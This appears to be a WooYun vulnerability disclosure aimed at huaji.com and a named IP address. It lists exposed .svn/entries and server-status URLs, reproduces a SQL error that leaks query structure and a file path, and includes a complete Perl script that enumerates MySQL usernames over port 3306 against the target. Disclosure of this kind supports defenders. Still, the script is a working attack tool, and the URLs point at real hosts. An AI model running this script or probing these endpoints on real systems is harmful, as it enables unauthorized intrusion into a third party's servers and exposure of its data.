WooYun.org

SVN信息泄露：
http://115.236.77.174:81/.svn/entries

http://baike.huaji.com/.svn/entries

http://shop.huaji.com/.svn/entries
还有好多
http://bbs.huaji.com/images/wind/file/.svn/entries
http://bbs.huaji.com/.svn/entries
http://bbs.huaji.com/images/face/.svn/entries
http://bbs.huaji.com/images/post/smile/wangwang/.svn/entries
http://bbs.huaji.com/images/post/smile/default/.svn/entries
http://bbs.huaji.com/images/wind/level/.svn/entries
http://bbs.huaji.com/images/wind/thread/.svn/entries
http://bbs.huaji.com/images/.svn/entries
http://bbs.huaji.com/images/wind/index/.svn/entries
-------------------------------------------------------------------------------------
server-status信息泄露：
http://a.huaji.com/server-status
http://help.huaji.com/server-status

MySQL User Enumeration：枚举mysql用户名
http://115.236.77.174

脚本如下：

use IO::Socket;
use Parallel::ForkManager;
$|=1;
 
if ($#ARGV != 1) {
print "Usage: mysqlenumerate.pl <target> <wordlist>\n";
exit;
}
 
$target = $ARGV[0];
$wordlist = $ARGV[1];
$numforks = 50;
$pm = new Parallel::ForkManager($numforks);
 
open FILE,"<$wordlist";
unlink '/tmp/cracked';
 
@users = ();
$k=0;
while(<FILE>) {
        chomp;
        $_ =~ s/\r//g;
        $users[$k++] = $_;
}
close FILE;
$k2 = 0;
for(;;) {
for ($k=0;$k<$numforks;$k++) {
$k2++;
if (($k2 > $#users) or (-e '/tmp/cracked')) {
exit;
}
my $pid = $pm->start and next;
$user = $users[$k2];
goto further;
again:
print "Connect Error\n";
further:
my $sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => '3306',
                              Proto    => 'tcp') || goto again;
recv($sock, $buff, 1024, 0);
 
$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".
                        "\x4e\x5f\x51\x55\x45\x4d\x45\x00";
$buf = chr(length($buf)-3). $buf;
print $sock $buf;
$res = recv($sock, $buff, 1024, 0);
close($sock);
if ($k2 % 100 == 0) {
print $buff."\n";
}
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}
unless (-e '/tmp/cracked') {
open FILE, ">/tmp/cracked";
close FILE;
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
open FILE, ">jackpot";
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
exit;
}
}
$pm->wait_all_children;
}

SQL报错：
http://www.huaji.com/member/home
A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '',130110326828) GROUP BY `goods`.`goods_id`' at line 4
SELECT `goods`.`goods_id`, `goods`.`goods_no`, `goods`.`store_id`, `goods`.`goods_name`, `goods`.`price`, `goods`.`default_image`, `goods`.`itype`, `seller`.`floristname` FROM (`goods`) JOIN `seller` ON `seller`.`uniqueid` = `goods`.`store_id` WHERE `goods`.`goods_no` in (130110326828',130110326828) GROUP BY `goods`.`goods_id`
Filename: /home/huaji/www/html/models/seller/mproduct.php
Line Number: 76